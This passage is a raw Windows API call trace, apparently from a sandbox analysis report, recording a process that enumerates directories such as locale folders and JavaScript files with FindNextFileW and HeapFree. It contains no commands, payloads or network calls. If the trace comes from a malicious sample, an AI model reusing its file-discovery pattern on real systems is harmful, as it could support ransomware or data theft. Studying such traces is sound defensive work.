ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0270.024] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.024] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0270.072] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.072] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0270.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.159] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0270.376] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0270.376] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0270.376] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0270.376] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0270.376] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0270.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.377] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0270.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.377] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0270.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.377] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0270.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.377] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0270.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.377] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0270.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.377] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0270.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.378] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0270.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.378] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0270.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.378] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0270.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.378] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0270.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.378] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0270.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.378] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0270.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.379] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0270.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.379] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0270.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.379] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0270.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.379] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0270.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.379] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0270.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.379] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0270.380] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.380] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0270.380] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.380] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0270.380] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.380] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.380] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.380] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0270.380] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.380] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0270.381] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.381] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0270.381] FindClose (in: hFindFile=0x6eb830 | out: hFindFile=0x6eb830) returned 1 [0270.381] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0270.381] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0270.381] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0270.381] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0270.381] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0270.381] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0270.384] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files-select", cAlternateFileName="MY-REC~1")) returned 1 [0270.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0270.385] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0270.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0270.385] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0270.385] FindClose (in: hFindFile=0x64a1d8 | out: hFindFile=0x64a1d8) returned 1 [0270.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0270.386] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ob-preview", cAlternateFileName="OB-PRE~1")) returned 1 [0270.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0270.386] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, 